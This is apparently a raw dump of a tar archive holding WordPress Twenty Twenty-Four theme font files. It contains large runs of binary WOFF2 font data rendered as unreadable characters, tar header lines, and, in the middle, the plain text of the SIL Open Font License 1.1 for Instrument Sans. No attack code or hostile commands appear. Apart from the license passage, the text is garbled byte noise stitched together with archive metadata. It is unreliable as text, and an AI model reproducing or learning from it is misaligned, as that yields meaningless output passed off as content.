=* B+ȫ_/~اфL C0;Z]e Hbu>/΍zQ$o rSGg$T|L d (6]>p/l4}mΜȔMqAhM~p1_5jX4?%E&9 CY.s_dI DOw2F\KOA2@1Qyqw5|Q,(d~"TIKu+ ͬݗCs~qc:$$؀4soµw6 ј KmYܵj֝&M-(% 0<2"g2jDRIIȂ"ԀAd% ,74~2c7XeOw<W =^3VvNu%pEٷ8&s׎+ 1QMC'y/E0`Eȵp5 սzED'v4~#Ƌ '[",)my¦-:&'V2hZĀ׆gp1S "]qflDL+{!DIxPŭc`N$n rجq>UV9mCثBs4<1 vQ[KK&XbYi0\EeQ.ojRJ{|;RރtUVH'[/ qz4lˮdxId7^Hdcm{5(p_NuGP7FsN:q#߷9|H8f"q 6jjBl;R7kdК祒cgK-jݓ,Ȯx(R zP*+ֱsEL~:P~o`('( WeׁwsOT` _v4|SWpUOFIT~"tM"NU&RD KI)ՋJVV\M+%&ev!ٝ{(9qmφuwt%Ѕ3 QtBdWB Ϸ !+׭PZ.^.*MzDm9UJ.1b[ׇ`*X@^щ'hXFjza"Y58 9fFl|d(ka5<58ΠjpAuV(h:ؑ{iɕ`b_)CU*A7tR)qEk"$WwyFo/Qcr^V3? ٱR6xZqK (Y~9S {M)`Fc0NN㦤2F>֐&s'JYaX5кi̋mUhJ̪y1sЀ/M2 d.DYfXbp3[֗͋7$F8 xzf6ͥ&Ͳy\IpUj+rGPJy%d ȇzѺP 2uŅ/re "U|{Sy f"z-_iyL?m,Id;H]Ykmo4dF,|YTU7r䬟$czkYuLXxRlEL׍LNJߤSkQuHkڎf*P UfYy 9Q履S_#,"I/mo49ik" &|K[. k] tBaj(8.?|$*:'|>'t^3\q  in,.?醓4 82j;t$NzY"Prjpc YDfX%;ht[4^b- :q${RZv7 WtPk}e!Çn9eݶ&pF:.HEN(fD\:ˢz_`jzSx[Dn# cɬʛ{ oe\Io>v )S臨-d&^ rsж2aqR ~ԄaN|ϚY/!?p~pmz9XmqwWY![׷U^QP+xb^K[ ت+Nc9v.2qy ۮHM]LRa+Y[z7'+Fc_bT 3X cg ːu7L T ʓ+_D (L%ua  *![s,@t5t1X?`vG\n>![}D?YyЕ\"D2}OpRQg'8nz+ޣl`]jֽ nG%~RX|7/c&qԣ[tȸvNep5>дGLWC[}{}c;_~?|C2+B MMvZ);s̮9x۪ @S991b\.%CNb T%Pueƥ DSUP|pI/q d#r9$ ̊>oחî"Vέkd_cVVZC<|V ~ӱ..+̳zX8k_zNVOتGne<"T0ro䦊9 D?Wi:CϤV_$|}jٹ+ř]K] p ?e,ButSc5XS4fEևyW;.Bߓ3mؾuf3lghxqx?^~]JTQc%elحoh--A~}qf(O&n"X4jǓgR`qHCQ w2pszʡ>BlWY|׭G'^}AR<!3޼i@1akKU0fbf^3B*V37F^Lؖn{y,| @.M-Xl1$-DgVn L#ت;f eIPj eቄy0q_D@9uZpQp~˂;ʖTcxŒ)vVNѾYD3pu)N}@, 8JD0Hp0qXrm#ۑ2 `=Kn0;Pmo|pdj–y]"Js, Bǔ]]e};T.^f]!!0 auU jOvLy,˧-9V۶JȖy;b!4[ iNmfhP┣l5?`L/ͫqwzԛ3⧅³d#Lݍ Eb+ԃثf S\Uւ2](ⱕ${QTI-U8u]'[[f"y $_uZR|."t~(&?pa_AVVvLHCBL 03kx`xM7.¥wzk7o?_:װ˿\_JIn./9\KjJɱEa?+U@ sV-Ǟ>NG{nQ;e߬'}l "gjQ(0ڢ٥ p&IV8&3Z6dw̰ Q1J j%ܯmfrصyۨ==caKe@l}ڷ"EHB*60A/7zkwl'Z gXF'J!@W Je+#c]~l’Liύ,D6@WaE1"E>cQ*x$*?,I?:'/+{lz@1F+_VFjt %3I`U,ܯz*qfGD9[YöC( : bi29qDN" q1LNotjYFm<{ * += #*GYV'*qOf,aQ÷=)G[y6[yH k#F[Bu7}<M2`/jaCo>qC׏wL;Qj$[KS^Kp= 8W[drXVyw]W$X|8?H;Fo0xp3궍eWgEuvVx1 bɑfm 毊 Fm>WgTN@GW︶2K㏈]I`G|yuw~z}hoqGaNzyuj.R\`fvu<=i]Ekx_hY}4z1{"*`bnݤ/v*Yz՜wڂ:}"nQJ}Ӭ V;) sRUU\ :#'j#;H"oq3({_:Zfؘźi"@3m$Z ߷B_9S ߚ.0{r\#]OFsGD~:x4@p|Eeo6,}u۰2D:c%)[`C+A '߈ Go81cy?_ƁʑOѿ0P0/@5oP4;%c2$/-p:cupb!=* J@$4uaGNDĂQ瞩uƩ:? #ZbGd \*\'q&2XpEktHwp0KcY!UfrI_G aoJqu.2sqPظr+BƳSk:9 u'.fByYp0[EEpnd u]^F0:iLij1JJkT6 |D Az:pV{Dګ1e@ԈS =A»;w^TN1]$z< !j kn?DʡY^ lA <6^]`( cN:gzY ,URl,|5rڬń5=k<3ވu>d|y6TVG ڸBft"&lX]MdBpF&hSP+^Xf  JV[flfOJ(dYƴMͺz]]43k#f:`}I1d FEfaO![#@~P_kXk;9j^~~>%/Jn$R;}8w]B$8|GxFSӍWFQ_3צ}pu%#$r)OBj4"#-5z#畷z°h`2 bj=Lڕ/0|1r01Y}րt@?0 1L%΂ \xkCYRVŖ!ixT)*l%؆mᬔJ,?QWH"n)50NuF;PK٦0DrL—5a6 d{I; ^ - vkSE) 8Jgߵe\:MnlcO^^>I_Ykak,R~џۘΜ[/ĉ. - ?eyw҉|:t\$ڀ|3aO[:v D[w4>K&%]XqGJc<Ṳ2W,01mTsQޞU gdpQ;~^N܈2¦䉅) Nol@Ag|u{(e1 l1!mN\1*ǟWK=PGM+x٧6{V.a/9ZAu5U+;tlzα5b 6Tcf91ªKV,pU5`66g \~㥞ιmYUFsʧ1ь~WtS֬_q⟜o~x-.9/xwSJK@$Pج nq-@A_ˆ7ęr yKOuz6ng't(oZ)|9"EXG/rIӥR8]xWnCnZ]\Tv9.E S\@7(}7a:両  ۞ S!{Zw 1V ń@~BwCa]I<6""<1 ~nݤdvS]ѥ: ͱwVob4qiHY#Vf G( v 3Z~Sthemes/twentytwentyfour/assets/fonts/instrument-sans/OFL.txt000064400000010462152335264760020540 0ustar00Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: http://scripts.sil.org/OFL ----------------------------------------------------------- SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 ----------------------------------------------------------- PREAMBLE The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others. The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives. DEFINITIONS "Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation. "Reserved Font Name" refers to any names specified as such after the copyright statement(s). "Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s). "Modified Version" refers to any derivative made by adding to, deleting, or substituting -- in part or in whole -- any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment. "Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software. PERMISSION & CONDITIONS Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. TERMINATION This license becomes null and void if any of the above conditions are not met. DISCLAIMER THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-Italic-VariableFont_wdth,wght.woff2000064400000270664152335264760031027 0ustar00themeswOF2qq@\r?HVAR`?STAT '(&/h p~ l06$T  [1lOA|ĭgkD1ZDݻjc;T9b [MAwD +=&?ܜ3qf۷owl I(`mE i)#"$[um‰ ]JpN i66e)\l:JE7JKlSvmzaQk)e:vc&\7eo( 4F/c{o>rqMmCMzmi$K^GrVK1k OIuq ŁW;4)LagQgr$ʹ*PGL &&S9ߔU֗ITZOLYg;X']ֵf*L)3lIf)$|07P2Zq_S%ՌL;YOaP:Oi{`SZ&sm5FH¤wuO'*&8UR]$>ƨ$GGI4ҙHuL vb 0hIy 1oUR]#.. ¤UC$I 'xRK$n F6CRѧ@*2YDvpW9 P9COdtZEn:PLgdW A#/"O`O݁4'%+uuV+=g@UeZ&t@ekDvж&T[ ^B4* P)ȤDu%*Ȥ k\{@Ł#na6mREt@ő)@l BWS@%#2E7*<*L{E*T Va@@%I2<0bUx T́io [u]Enh@2?j٩kWo୼XwU>HMnNW~޵0$H2SP?A< V]L1;qJ=&*3gR?OY>GSRi#2כ&.LH" P|۾zt0}FpBfbz}yd3kK Gӭa~ScD)kfQB"r ( I:B̕ l8[uwGSrx a[BcDL`TyCLZRbr5P!P!pcޞld){Ad#D7t]Rݐ?g?]nA92yJ\!C}6fPG!IH6R:D$UcO|u'))k=yJĠ5t\7Wsx>V5 沫y>!^VbT1׏He3Tٺp\OB<}u'f\0 8tk k\.Mr\D$Oc:(0ćaOi1S3BT&:S,$"$T3>"PRm=B>y$/:<AP??>MiR@6+63?`aaaaaaaaaa11aaaa1a1aaaaaaaaaaaaaaaaaaaaaqw>kR*n4FC`'>زa%ei 3%H9ED-;3|ɗ~IgLf7t3v3nd&I7ݤ3L'!r-{ m[RUGh?ﮙ42Fi,i4!dsxO';@^B5M,-ٜXI*~x1D2vWZa3/iS$VT],VU3ٲ=P>`T +&7?? 2Y2Da)@WnE {+;^:.l<[Y-[N6/}4i`9w֓Oh,WyIRЖq=P$%)D]Qpx5mmJt_6^]_=?&Y|ͶEPR mC˽@bLh{vj$Za>{uR2G9#H'ْt{@nGKQ\uw,#o?xpI&+ mMcmr0}f }(p mv:5, ֫kT)[%%IJ@SɊA\ea@ =pmu0tCNFApKФ*HCvI-n[ #T\\PaDo`S DB(B0DD8sVN7 c vQ5*֩7HzRVXU"*n%űЈAMhBfaaaašծfaծfqZUz:@VkbŊHyP$u~yہx#Rștc>_+ ΝC$@h?X3 "!jܴC"]$2C$FI6heU byQlM1bĈ#Fo7x7ވ#F7bĈF7ވ1ΈFڢU˰dו8/SM z.R\~'9,ϳun_i|UtT))3K*}p'bb+(=tc[:pt7AT8._? Om8S-6~t7Hhe'4@i5k Dl66 P5;fLK9bq>v 䳏Sվ+> _JU!nEAHkQd/EQB>6/KߛH8%^Uyrݷ -.>(*8phR@PcJN[E.?VK\'X9*\]JםtQl3OqN>*S(CֲAXҊZ'Jb,S4'rY xo}Ki{IIM& dZ+7*3DHĄHʫdycQC2f`m&PA,L7 y=͹Y9w혇dDDV [Ofu@DDx=U}V-"JRD66~?of^٫08wDDĕ4} 2LNϙ'A+XQ#ƈWy[XFYƦc»ǕD)`}u# ܦ['LlZ~'k]m !蘒UAs)riL1{7?'KDW~y湦M_Io* Uk;9w2\Qd7&~9^tYM߳ߚ~G,?wC݁bpNcXgf/Sds:zC`/?ɥ {Ʊ+׬?=^~eSu%l`F[_rk2KQgzI[&5F4}(p 8>կ'IuJϲ 4Omg>+BTV|`IϮ,#U OkM|71w76 )`~> #oLM7&E6wx +ܛ+ePWir긺ۆz7 }#72zK'$}8ۻ z7*xolmW͂*6g)o_Ԇ81ij/И\).3GվQw%QJ\>}_j}#ɣvH.ךMOzn[F.O.GR*E_[ηs30óժ"e̗ X.r{[뵲fbzBdRPсƙ $,P[&a#ʞC7MqF)sZN$J^ ҧ~gn݃˵NPdK ]u:;dkovwZo_%/GX*ܼ"`фf޷Ms,>X|FvxbLܵZIvɕUUε8!'+[խхMWvou@WnmT7oV?>@ɤ&.:wyeq"-'rZh"[aWơBQdXop ٴ$YVCre*H(0O.IU2mSWN( vJ7a#QWwt{K&H6J&OSYєaV]\+bIcgc Y~VDevh-WRkI Q@ m v ]k_2-dt^ A?.TfcWuqn=C65&fde9xQ$'39Έ2w}T)ؙIҹڿjzuUkbo~|h[Dc`~a!t zc;a`F c"&PZ"D9cAF2!25JTb@b &&{M yt`Xt܋TZ?t3c#i uzI@4p s%YFVdYG6'')!(2J1vɕ (#b$beG aEΨDDDbyb@<GDRu$< $9Fʞ&)X 2r;)-=XWۥOʩ{r=sCnNu1 ˛? TKJYפ5vO%ɫac ј>L9 ir8EIh[aӻ_x*Ve֗Fi Rr)T$NRK'I˥Jit1/cXڵk F[xAB(^$!U FwH$S@@HH hGcX΢A[k-^iLZ\ӟTJw??tѦv>10-`"&ak[po K+x!@qx;b$b%}})DZop'?64ld-51 %x#EL2PJ!@ž,n ׸8IUT1#>PT 5٢tY-xDհYvMf_r9S=Az)dV  ſj-íB7K"XeZVS8ֱl>a?; "H !DiBy@(Šj@Mh7;ZBh@@Pvj;zA9 Ra`2L! \ ` H0 6FƄ1clNx]>y xxFyxxEy{{5Tq.9 M)T}}qk:pnw{nO/ܟ^'Đ2CgNGA)3U$L17Ƭ̆O,zeղ%ۿl[fklf+PUNW\ؕ]-Q<%S E)b(>>wbV/5sm]KN9J]j4qd'#[HY kH7~2 Ѡ z0k,N[ ŋz>$Mh-%א ?܂?c9` SJ%TA9f -Pe*C"P Ԏ:R U`rcHhmZFlդk<]dpI10&*GsQ7s{3;t쟀c`"up8u  A8Gh:,@tHT'zWg-r2.EXӪP6nmږmV7 粖RjOCS:չ.u*ǠBuqAݠ;  ΰ[`.XAp"`A1_yt 5~yv](O=:4n.-n/w!9#z*Єi8žoƝ1B0BԈ*Zh- I#Bm-,Gw! EMTz"mR$_7y/r\ }N+c0 qsqwΰ,.e"\!!ɐ p$0\G8a1+=yFy+(~ӣ߼??m{ܲ0ԠKiAtt-@2r6񢈖T&ͼ۬Y弬KY eU]i[6f-̥Ů :եnvNCjTiԑS4&dF3i3J t.Ui'؞3}/ !- l5["F ,tU`sv~~"=Ao]{l5|W0'L=& Ph@֤4Li*!UԑlȞ2/˒X~)iI99ڔ眳9\{Jph b`/*'|^v ˞ةf*OQm^gjI#5R'L]h0`4MtW:NْzF-6lv#ѝdzz&> $;j*_2FEVrwj`K7 V!(4 RA1*Vb'OjF6ZZ1QVQSST2 ZpC şgxX*;axWFt;K%)'JVQ˳ ?Ҭf=)z**#DUt1mod6n޶(yuE* bRlJQ S*TUP ֩\]H4jUXKiw?VXo VPG#\e܀7xp@ BOhxЁLqhHBƩO eyuY}BBkz_:鬋V`1}x0D#IHGVl&l[V|$p%B! %fhIHʤBO,ɚl@N !0$L!FIpBD@+l2٦< v9 z澹F'z{8V$EFN ĖFKXN^B dz$BbHr`'iJy-F봮*ZH;nJAr(OXyccDŠ$b.vQqB\⚸cOV(HQ|_$P JP 0 D!QJ"K3I#xi4QZ-M"Qee$CWz=<gW 7vC):rs8iيَqO\%~0-~߿ J|zJ4}{?ޯw.T/7*Itܠˆs\DY^("(])QYTDUBUM5~n $D-Z&'j$-^АX,(4LIhNGj۸=ҝ:wZi3g5" YC:윧8spHt y]}˱LE߮W]mTJLk+TFY* ^Njn~guޡ+nYdփ>xIH)* mltNus]*Y.Ld&6Aޟ4oycΙ>\Vrl43[Y9RDϳXÕ`BI$g&:2v_D>Eq\ft#< !?Bq0YnS5d|gV ڬru+AoA_MQTWc*@LidӬs렰pHȨW>[1chF7d t璽R4*xx+{{=>BYW{kO(#'$o륨F.31aIMGLS6խ fqi/FAy[ꬲ`=uYCI{9e*FjW0#L4ɬ$Zm6C7'(o\cdbp>Txވ֡1 6Ul>%}g{gottW{~? %d$P䪓?WqN`ntt&6x]I܃92s,7l)Zbr)\rZn5xBZ']tӫeU&ڥmDm VL pq<&fnN2UOzWזq3 !y>d?"E2BLQ薘Ąth!x{gy9T`y-sZ.Ts<•ٞ˟< D,QNiUgP˶ƶ.-?j(SqōxH3pixXaEOr Dkl]\:!Wy )?햝pHR: . CO\\  hqOC1yS;Ia+B&1}vR'ͻG('3Q4-ryөKm%ԎNzM$qՄt1dm- !hR@ !h5 |&;[~c5?g޴@B叜S JG*2P*_jA վ cʙpgAӟ_;$=%$rȘ8X#QeP݉Y-hcBh['RI2|]7Zj҂U&:aUdT+@1 .MygZ&bdL|g,eS`//C!SLQj ؛3逘~H%~ULd2SGif-˫ uU"Gni`dE%(SF9JJZhrSz`,`;tRޓiI`Ԭb5suE=%~Xx,?@VBfsK<70&MAI.](mݸ6ob>J`u+t [ɁN>\]=ZOFXn<<{rg^Y{m{좸/}/KnLhw B* Y2s6|JZAܱ\WVvJSTeFk5C7TRM~$1wdލfBEJBvnpFpR&\Ƚ', `rXsrr&sfqrε38y}b#_Ȋ $孨]w 8aݣ,=Y 64kU*vXrocsr^ýd~Wݭ6]Ƨg35|k?;iφu>cF淹Dj%k\ҹK\=w%uWNߟ?,َUIz!}PBKpjDa޷6MFQ "G$sUYYq5/ss{ x Fo %WDSDcЄ@21jLlch,7~i:q~"2<.K#6jTF Ē';$e>1NfGӴ'X1Xp D@'vF0@ f\ q3d2é0\'9<|^nl8nյ+qp54hZY΋lQ[M5M %/qʖw*R]G+WiL@8^ge<*=ܭ39xH4?~~l{׿[7җۍ\:[x@Z[ÙtL)MDI@Hi/3M܁,(-DB4$BC},-e>HCd>#r>c~>i~ ΟZ<|8k]D"ֈvBEŦNչDI{c1sɺפܹ ؏gWqI)(mĴ|~ȧDVHa% %ȕc֐&dI$<= @NK^7[r:Kگ7 Sok IcC~D Gt:W}ޚ[z=ܑ)K94fqx@BZdD<$P45$*d,ٽF~gxW*5[Vyvf{q=s"Ks:IBPoQW lʮaЋ+&_-UzN30$1Zu~?7k⇈l'ӟ;iCD1=J-S7;yt,|f*˫ @ J9(2"rdƴDOFn`t$t7uFq'4;pbE.;i$)\4Nк'ҋu/6H˘"`*iD%]_/,hM=f@c:@C ZQZՊZVˁTi~48Ucmﶫ HɃwQuxd)D2vT+5 wҞ/Anz>B4R>iàP]@#rHvTwwdh9{lZa 9>ّ水Aij\"'r+IOe'$#'{IU= Uv\S;mOoJ~[udod jd `})n]w;mcf]n-}u7u y#oݍ!y߷O^n[}y}|'ğzK̋ߢg|ҏ˝O+t"xšJ8ι?*VUw_} ߧ z>0xCh~7_@Ӂ-9x _zoy7|;w|?o~x&|~?y>~Z) ޏ&?9rr#/WGOEǍZbWNi}zϻ>g/! 98)ӣrw]Ϯ/?HNɊ|y| !ȴxP羦K`toy/Zk]v5 z&)5b(h0C[J \g.@D;ᾊcmOlCQm5۽umkv(XөZ)5*42l>c_B UFٚҲ64Lx}H+ZTq-L?KԬ-Dԝ Á Og x-d ؟A?__smcO&ت UKڻ>a{OjD~D6J:`h5[_(ӊ#zr@ sv|>C6WcQ+. ?ֽQ?gVB?7UV=+~a9bTMϣf&K0TIA]_ݢ50_41nbzyO?J_ L?ViwQ ??ll>F!`~ ܀l[mHt xj^~H|-<-1 [ Xٽߡg~*,xK{VaFW]wrՁXGxl8",E`.L+8ןBXP/U끕Я0=8 A?=]ҿZ .+N1[7 #4#>|(w"dpϜoppSXa7_ ~ ?~pjTCN"/g%  _/ A?!>C6Bư+4|i|$ې (<ŸqG,y$|($$%٦؋w\ݬ^S>' zb]; 4G}K :OkXjɖ{&'TIN0=K9%BMgk=| ړx#.$0/ws% W 6OS(fy;8i i1*]6 y#{| q.X `4Shs',0"¶]+d0vB<.|":pcAKUrRvCXqb/nפ@ɡ푿鏽'}ꋡS\НZ8ED 擗ǻ=]\I1x|7g%CnfꕃqM[V6YZ4z(qfGiUuig,)nc *wj o8a _G(y!B`<=SJ$H30FWh[Sku&Xmӯ]DL]ewv5oVX`c G1c~$?f X:YO-J3'.1&IPkboBٿ}]>}j>m23\fg\*~ O ܺɫ'rVicizqw6nj6s2+<7,.\,(281b A,V(HDx~GQAW)dA&pF_j5GIN ;a0>`jA!zNDb\HR%sTGneȯ9Rp0t 򝦴ꈠ!DWpF9_C+ ոFn5$cM*k:zUM }~,B^Y3W$lVXעJVMvipb.C!}ђW.}t&B MUW +܁VV?J7{7JemsJ] {W +?n~Qł7栩lx4w~v/w G+J.SG]iFHyD^O!ҏuJ;F<-^d5]#YQB3eG#{v J W=/Y>{[D2n)$4*k\Y?ZXV QͲ$-zb$쀤֩s]61rY\]PVMc'IOP Y +"(o]+!%/T{ k@!j!&\L( XhyؘpΚDD%b yh$@ft h;y!v 88 H]|-,um+ \kշL}}"]UeYy5V@¢ޛs2V. O(sJՄW[8 Q**hKm6'&{:acP |i:$ƲH3)ʲt&ҹQ|EṞJx)y y!.4< >HNd>C,Ac^kȋ4@d3a^ZW0U`;4ఫ]ɸ!M c' ]ܒ~ňQ, g1Aa2Tѣ 2gBeV3;0s`MJ) &@LV"zZ:Rmh9(_ +*@ b59$R[xLe}T;&gu2"t__󘑮4SNw3vBPҠ-X'p(>I>qu-PZKztN,O&3 k~, yK> 2ؓzY z>z"'#,2 㥴e2xE&\A[3Ɛϰdl{`X% 3O <;ĄQбpݐx1`RVZ7.8џ1cer!gv𢃘w<@g8 pdFܒZBsW..iE[+h",[<`z' ˛խF'SԐ']?*?plk,x-d>0z s5lSĢ9!heY%{ՑgqabB[ q2ޙ ۾0F7h! 2oTI WUNi*:T>mdlvL{#$}͛-gJM{U5Ԙ4Xj@O@`w@~7jJ-ZsD&xkzۿ+FN=}ZnpnjPz*P}o@6 +6F7ICM]wS4ފH6fK/FĞ Rk5z,!=VLgjآfCfÎ<:ݡ)FL߃F[US^Lɖ g8ddž 6lz8>b!9Gt#D޷9Pb6| p3/^i1zzNbOKv8a/,%Z%QP'41U5rbSOt^/HdHMm(Y;0ɋ2E1'qaRRΓK=JlrqoY&M˧nF!g-\^\Weʊ|>9@ '@&LC$&BnΣ+BȒiֲͲRrC1j_WA;>';Hy8HS/$VIf Kҫn0ؾSwT7Yr$go,)8Aȍ׈IkH2UY+ 1̝((4`,FEsFeYǯWjh GeéӼ}7rh6}9 ,ĻbZn 뢡 ,p O,PKزM#53cCruGP*/"?!?nAo]r˽@D~U= @p@jfA"00D5y]LdP/N7V.#Ew^_h)< vlvTQXѱ~g9t63̋~,7Qq1AFk,ԥؕQ+U#շ+< zt,^5ܱ7MiՊ6²_7*0ϱ*k EBL0_1>%D؛RJ~E*:r'^nCUЍfQ_f6AOʽKy) +*@ѴEPbq 'Q6c8(4~!¢*E%tHm^Fe>pPt,զrvSE-yWp7@ zRf!G2mH< =J]0|(/E)ͨ|&l ^b zQ7;UG_vVN @>JA4sE .:.f[p\ y`Ѯ(aT8U&EtR0n"7wuD5`D- "ZKڱNut2`0v-bc)O]h?"Q.P&p1o-Y.*Xa]On̨^Cc3Ǵe\pmˏv9@* N p$:B}Ljd:prJg e5n7!o!8-+MX LV{[F]X#Bku~%"7;mR*;՝C?BϘSP`\c gQ̀Qj6.HVet/6S=p5UHUo5:3ogh}n-eIzFutX[S].F a9sG t(p S,_p(dAt-'C2u-=Hn )^ 9M)]^/>nm=voL$3zȲO(ϔlp2yv@]x|vԂb]IZndu+Z;gGE.Uj!fFԴ|\/jôV(&څǧUeZeRjK&с\3^ 14QKTt8@c#+w3, \$ ;ɫw(!!Yym^ON[", (bB' %3021„ED%kХ[^} XhАa#XfaEH!Wb%TUAVm:u֣W 5nҔf̚ZlՆm;v;pȉSg]tz$Q*v|[2.n^D#N$)4iѦC}2c΂%+9pę Wny_@AB !R$K*M Yȕ'_BE(URj4hԤUN]է?4l_wvLYf`iT=){ nf3a(]4R^ݣ(p^]-c(/BҴ*ȷCwp45+%j]d9|_lNCٴ,3_p~\ّ(~9r8s.c ܃w\ )<7 r,,l"0V~4Aqef6*Ka~-? es:V38ŕAMYw{m̟1("s N"17 O3&O @ԅS8_jI5vd8CхrkhSC}:16Y'ii*$hcT )87~+E^C\*W\|([ T@}?N%~Hrޞ&T4MjE8r,sJ]XG8Z0Y4B7fJ!2Z=J?<.5-u;v.#eT'ZgmZוR~pA-[5+--Iy0dm'*G:EʼV"F yآY̧Y*/L~>Bv-Jd)0lnp!e .%A`_ۘ|֢eZAڒPDl<#xT7:Dj~ pQAwW8p W:]PeId9B!=&2j{Xʾ܊CQQX9 x+9)FCX' ַrji" XJҼ)-%]dxFj8ֱ\씻u ±#T jz[)TR A:U q ~_sYyk K؍k%.Q(s3[a']HϬ+XYv)3PmǫW9NByxiN-Ob,E6g3iK9StZūH#mRԻ 6X>=M7倿nЃWv bhn<sKǂ 8-lYYX:  + TF$j`6;xہ ` !^R)W1 GZiAuK%xZWy^7C@ a[[nqTkD)!eȊWp\_- 5PCM:*6g =. za ̠!-nF㮘9W)+29rs>N%?'èQȻwĵq3 NMFt1,q\xNkhB7|n.?;o|B*>NpиJxx G7 P\7^\DfK}48Ûf@ac &(+ѥpnnVOlk(61.C,|\€+' W:4y%]^1x)>8?v[gڼ1Z%7Jm2,TJ/S!f#֪ͧD0*/R7[4J PE Puh2"Ѧ LQczϛ3Dr׳x=]=-}P+)ï9&f,c2mc>9{:Y93XP'vwk×XئcJءym׶GwqSX YZPLY+>jN•:*(G 0}QO(IHJbtg#Л<,Eez"YE25`7goJaIt(Tqudvcrvvw޼іMKk-6/ O>5Ep:U1b^7RW%sN4Xׯ QG۪sΫ٥ф#^ᘢϱбrm# 0'(cVv1Zouyh%OuVbǑU tt8|w qC)T&c 4coN-ƴThеƞ3VC)pByS}x;bH",4P{Bτu(d-l#fa3ȼo?5D&40`- X CQpc~v/ހ|3BF>Oz8YM(D)׏#q~9_.IKyBS@C|Z5A؀,ء],g7< z:ڀ68!¾Ya،t{e 3~Q˔)L\n~+]O6rzPY9mZ0u3L-Ȱ׍f0ӦAqpBȠy1HQu=Et׋:X5"v`HL|,DKʼ MVyISJCU~BkSuknߣE^BR3<ݻx;tbB3 蝄E LCd%@ a ʮ.sR2_}'T$DF@BV\*H}I/!(cQ=KH!@ɭoL(}׆1L1y8=&`ݙ6k΁#,gXKytDp.Yѽpآ fGdN/zjt,'ş:}$4i3.a0d mxr^BI>DⵒOJP EѓN_S"S*zʀ7O9TM%R-U`'ZĴeH(isg^M4A^s4CL<+94?md%F*%3kF 81\!g%y,i|488:ZV(͆i#s2^GRk!L3 1oqBih2EuYZf$EUK9ʓO& ('G9;`[ }</HN6v|2mu߽ag$4ZQ\]OGJN?=COt >RQWSjU8_$(0PZ/+sK#^=PxΦ2~* _V;Xzx8ٛoXl44|~;%]k%-Tf to_DEIe*h~¯v&T mƨ a4bG9\1kۚH =#3&Ѳ2WE_qsa(`(~\s N`lEٓs&ci/ xس=@Sxt/Ax{#!P(u+i_No]Yp_?ˀ(ceS`1pE.K}\ޘON%BE͹(苵ϔi%b$|P2R J*4IiXw"6w^V4?#PKXc(EJJQ*J%TE|q+s'K5ux&yr[u NA+XULD՜(F gz2r "&˝g@VW^AQE+%q1Ֆ.ѽ7bƽBȉhP?\Gҁ\C<$߂o7("R̐z9)_Ӆ\eY˲SS*Vd)G\ Tb')UgoӔV_5VDELUcyW[CSSԌS+Aq~~xQ@ix4 K eT?`_+®1L 7nFcԓ{8/X0+WB*H1/H6\_tͯY{Ws`yž.?wAN $rK9)sjYm>5H%Y0pCO +x%rkC"l] ÂcBa[(E(6yC]˽ugh4晑sJci S 7ams N*:\V1H@Q}PV=FC#A㖈vy"&XSQfT̂i7&fѮlI2JSgBOfQµm;]=u{x&ꩂwmc)YwMMufgp#㢊\VwCqI7G5x<{EJ`,cq U*Fd] 0uƲnrax>:ǝ"8rK^B WFxK!!-{W4ck- hsE${)5`qP1g%K,Z)0TRi20ezuYF[VyjEx^|%*PٱW eej\YzC^Q$Úi| EbZ:.4g u*D#$ݺzzwHP~7k< fjVzhȢb Ŷ]׊(`oRToKyKA~ Qتʭ^_@mq1=&W[{ǹ׶v ;#P7guQ_G{(gˣ.PԔS{]7PI=^͖\"QE/W!Xhdibń#^\xߣד@KBM|]]\%@H$持)e #ԻJjIGO֤ekdGeD˦<^CPM\]+s7WqAc($ڻx ӘXeopl8%x㉏+ΉJ`=ɉ2c7 ~zRMU 